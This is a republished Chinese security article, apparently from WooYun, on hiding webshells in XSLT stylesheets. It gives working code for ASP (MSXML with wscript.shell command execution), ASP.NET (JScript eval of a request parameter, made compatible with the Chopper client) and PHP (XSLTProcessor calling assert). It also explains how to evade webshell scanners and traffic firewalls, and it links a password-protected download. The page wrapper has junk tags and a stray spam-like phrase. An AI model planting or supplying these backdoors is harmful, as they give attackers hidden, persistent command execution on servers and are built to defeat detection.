<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/5799

            想來想去還是歸結成一個系列吧,雖然說在現在各種講究高大上的時代還談webshell實在是一種沒什么品味的做法。 基本上也就是一些新型webshell、特殊環境下的特殊利用、特殊webshell的菜刀中轉腳本等,外帶一些對應的分析。 先挖個坑,至于填坑么??看情況吧。

            0x01 xml與xslt


            相信所有人對xml都不陌生,其被廣泛的應用于數據數據傳輸、保存與序列化中,是一種極為強大的數據格式。強大必然伴隨著復雜,xml在發展中派生出了一系列標準,包括DTD、XSD、XDR、XPATH以及XSLT等。

            XSLT全稱為拓展樣式表轉換語言,其作用類似于css,通過指定的規則,將一個xml文檔轉換為另外的形式。指定的規則由另外一個xml文件描述,這個文件通常為xsl后綴。xsl語法相對較為復雜,詳情可以參考msdn中“XSLT 參考”一節。

            為了對目標節點進行處理,XSLT提供了一系列用于處理XML節點的內置函數,以下是一個具體的轉換示例:

            xml:

            #!html
            <?xml version="1.0"?>
            <root>123</root>
            

            xsl:

            #!html
            <?xml version='1.0'?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
              <xsl:template match="/root">
                <xsl:value-of select="string(.)"/>
              </xsl:template>
            </xsl:stylesheet>
            

            xsl文件中xsl:template節點描述了匹配規則,其match屬性為一個XPATH,表示匹配的xml節點。xsl:value-of描述了轉換規則,會將對前一步所匹配的節點作為參數傳入select屬性指定的函數中,參數.表示所匹配的節點。 對以上xml和xsl進行轉換,將輸出以下結果:

            #!html
            <?xml version="1.0" encoding="UTF-16"?>123
            

            在有些情況下,內置函數無法滿足所有的需求。為了拓展XSLT的功能,絕大部分XSL轉換器都提供了腳本拓展功能。根據轉換器的不同,其腳本有所差異,所支持的功能也有所不同。 在一定程度上,一個對象的安全性與復雜性是成反比的。合法功能的非預期利用是漏洞,惡意利用則可能成為隱蔽的后門。XSLT的腳本執行功能,就是這樣一個可能的后門。

            0x02 asp與xml


            asp中最常見的就是vbscript和jscript兩種語言,可通過創建MSXML2.DOMDocument COM對象獲取一個xml解析器。 通過oleview可以看到,此對象公開了一個transformNode方法來進行XSL轉換:

            enter image description here

            具體的調用代碼大致如下:

            #!xml
            set xmldoc= Server.CreateObject("MSXML2.DOMDocument")
            xmldoc.loadxml(xml)
            set xsldoc= Server.CreateObject("MSXML2.DOMDocument")
            xsldoc.loadxml(xslt)
            response.write xmldoc.TransformNode(xsldoc)
            

            參考msdn得知,自定義函數必須位于msxsl:script元素內,對照示例不難得到以下xsl:

            #!html
            <?xml version='1.0'?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
              <msxsl:script language="vbscript" implements-prefix="zcg">
                <![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
              </msxsl:script>
              <xsl:template match="/root">
                <xsl:value-of select="zcg:xml(string(.))"/>
              </xsl:template>
            </xsl:stylesheet>
            

            在第二行中,xmlns:msxsl為自定義函數塊的命名空間,xmlns:zcg為自定義函數的命名空間與前綴,可以任意命名。

            第三行的msxsl:script聲明了一個腳本塊,其language屬性指定了要使用的腳本語言,implements-prefix則與前面xmlns:zcg這個命名空間前綴相對應。

            在第七行通過zcg:xml(string(.))調用了這個自定義函數,由于自定義函數只能傳入字符串、數字、日期等標量,以及XML的一系列對象,所以先通過string內置函數轉換為字符串從而獲取text,再傳入函數中。同樣的,由于Response、Server等對象是asp內置的,所以既不能在自定義函數中訪問,也不能傳遞給自定義函數,所有的數據傳遞都是通過字符串進行的。

            腳本塊的函數則是簡單的執行-返回,其返回值會替換所匹配的節點的內容,所以上述xsl的作用就是:將指定xml中/root節點的文本作為命令執行,并返回結果。

            對以下xml進行轉換,其返回結果如圖:

            #!html
            <?xml version="1.0"?>
            <root>cmd /c dir</root>
            

            enter image description here

            可見成功執行了命令,其結果中的特殊字符都被轉換成了xml實體,需要進一步進行處理。

            最后,在之前某個IE漏洞中,老外所用的DVE就是使用上述方法來調用組件執行命令,所以免殺效果已經沒有保證了。

            0x03 .net與xml


            xml可以稱為.net的核心之一,[System.Xml]System.Xml.Xsl.XslCompiledTransform類和[System.Xml]System.Xml.Xsl.XslTransform類提供了XSL轉換功能。

            XslTransform屬于已棄用的類,其調用方法如下:

            #!html
            XmlDocument xmldoc=new XmlDocument();
            xmldoc.LoadXml(xml);
            XmlDocument xsldoc=new XmlDocument();
            xsldoc.LoadXml(xslt);
            XslTransform xt = new XslTransform();
            xt.Load(xsldoc);
            xt.Transform(xmldoc, null);
            

            由于此類不能引入額外的程序集,所以并沒有什么使用價值。

            XslCompiledTransform為微軟推薦使用的類,其調用方法與XslTransform大致相同:

            #!html
            XmlDocument xmldoc=new XmlDocument();
            xmldoc.LoadXml(xml);
            XmlDocument xsldoc=new XmlDocument();
            xsldoc.LoadXml(xslt);
            XslCompiledTransform xct=new XslCompiledTransform();
            xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
            xct.Transform(xmldoc,null,new MemoryStream());
            

            由于asp.net提供了靜態變量[System.Web]System.Web.HttpContext::Current用于表示當前的HTTP請求上下文,所以不需要像asp中進行字符串傳遞。構造以下xsl進行嘗試:

            #!html
            <?xml version='1.0'?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
              <msxsl:script language="JScript" implements-prefix="zcg">
                function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
              </msxsl:script>
              <xsl:template match="/root">
                <xsl:value-of select="zcg:xml()"/>
              </xsl:template>
            </xsl:stylesheet>
            

            訪問之,可得到一個錯誤信息:

            #!html
            未能找到類型“System.Web.HttpContext.Current.Request.Item”,是否缺少程序集引用? 
            

            很明顯缺少了程序集引用,查找msdn得到說明:

            #!html
            默認情況下引用下列兩個程序集:
                System.dll
                System.Xml.dll
                Microsoft.VisualBasic.dll(如果腳本語言為 VB)
            可以使用 msxsl:assembly 元素導入其他程序集。
            

            于是添加WebShell所必需的幾個程序集,得到:

            #!html
            <?xml version='1.0'?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
              <msxsl:script language="JScript" implements-prefix="zcg">
                <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
                <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
                <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
                <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
                function xml() {eval(System.Web.HttpContext.Current.Request.Item['a'],'unsafe');}
              </msxsl:script>
              <xsl:template match="/root">
                <xsl:value-of select="zcg:xml()"/>
              </xsl:template>
            </xsl:stylesheet>
            

            直接訪問已經沒有錯誤,但使用菜刀連接時爆出錯誤:

            #!html
            未聲明變量“Response”
            

            很顯然,菜刀提交的語句中直接調用了Response。由于jscript.net中eval的上下文與調用方共享變量且具有同一名稱,手動添加菜刀所需的Request、Response、Server,可以得到以下xslt:

            #!html
            <?xml version='1.0'?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
              <msxsl:script language="JScript" implements-prefix="zcg">
                <msxsl:assembly name="mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
                <msxsl:assembly name="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"/>
                <msxsl:assembly name="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
                <msxsl:assembly name="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
                function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}
              </msxsl:script>
              <xsl:template match="/root">
                <xsl:value-of select="zcg:xml()"/>
              </xsl:template>
            </xsl:stylesheet>
            

            此時可使用菜刀直接進行連接,功能與aspx(eval)完全相同:

            enter image description here

            最后要注意:xml的內嵌腳本塊需要FullTrust信任等級,在安全模式下不能運行。當然,安全模式下正常的aspx一句話也不能運行,所以并不能算是一個缺點。

            0x04 php與xml


            在php的官方文檔中搜索xsl,將直接定位到XSLTProcessor類,在頁面中可以看到很明顯的registerPHPFunctions方法。 方法的示例就是一個完整的調用過程,將函數修改為assert并略作精簡,可以得到以下xsl:

            #!html
            <?xml version="1.0" encoding="UTF-8"?>
            <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:zcg="http://php.net/xsl">
             <xsl:template match="/root">
                <xsl:value-of select="zcg:function('assert',string(.))"/>
             </xsl:template>
            </xsl:stylesheet>
            

            第二行的http://php.net/xsl這個命名空間URI表示php專用的xsl函數支持,第四行的zcg:function('assert',string(.))表示將匹配節點的文本作為參數傳遞給php的assert函數。

            為了避免xml的轉義問題,進行一次assert嵌套,可以得到xml:

            #!html
            <root>assert($_POST[a]);</root>
            

            由于php并沒有上下文的概念,所有的代碼都是在同一代碼空間中執行,在xsl中可直接訪問GPCS,于是可以直接使用菜刀連接:

            enter image description here

            同樣的功能齊全。

            美中不足的是這個功能默認并沒有安裝,windows上需要修改php.ini啟用php_xsl.dll拓展;linux上需要編譯時指定--with-xsl或額外安裝php5-xsl包。鑒于php的靈活性,此類shell除隱蔽性較高外并無太大必要。

            0x05 總結與其他


            在上述基于xslt轉換的webshell中,所有的敏感調用都是以字符串形式存在于xml中,避免了基于關鍵字的webshell查殺。同時,由于xslt是一項正常的功能,對xsl轉換器所提供的方法進行查殺、禁用很不實際。例如:msxml組件被大量的系統用于遠程文件下載或xmlrpc,基本上是不可能禁用的。 最后,服務端與客戶端的交互實質上是通過xml進行的,所以可以偽裝成xmlrpc/soap等協議,借助xml的轉義將敏感字符轉義為實體字符,以躲避基于流量分析的防火墻。例如:將cmd替換為等效的實體字符cmd等。

            除了webshell外,xsl轉換還有其他可能的利用點。xml支持自動導入xsl,其語法為:

            #!html
            <?xml-stylesheet type="text/xsl" href="http://host/template.xsl"?>
            

            但除了瀏覽器之外,尚未發現有哪個解析器會自動解析這個預處理命令,不過作為一種測試手段也未嘗不可,如果成功的話則很有可能是一個代碼執行漏洞。 某些服務端程序允許客戶端提交一個xsl進行自定義,此時若提交一個包含內嵌腳本的惡意xsl同樣可能達到代碼執行的目的。

            0x06 參考文檔


            Bypassing Windows 8.1 Mitigations using Unsafe COM Objects(老外借助xslt轉換的DVE利用): http://www.contextis.com/resources/blog/windows-mitigaton-bypass/

            php xsl:http://php.net/manual/zh/book.xsl.php

            XML標準參考資料:https://msdn.microsoft.com/zh-cn/library/ms256177.aspx

            msxsl:script元素:https://msdn.microsoft.com/zh-cn/library/ms256042.aspx

            XSLT 參考:https://msdn.microsoft.com/zh-cn/library/ms256069.aspx

            XSLT 轉換:https://msdn.microsoft.com/zh-cn/library/14689742.aspx

            附件下載:Download

            百度網盤:http://pan.baidu.com/s/1bnq9I8J

            解壓密碼見注釋。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线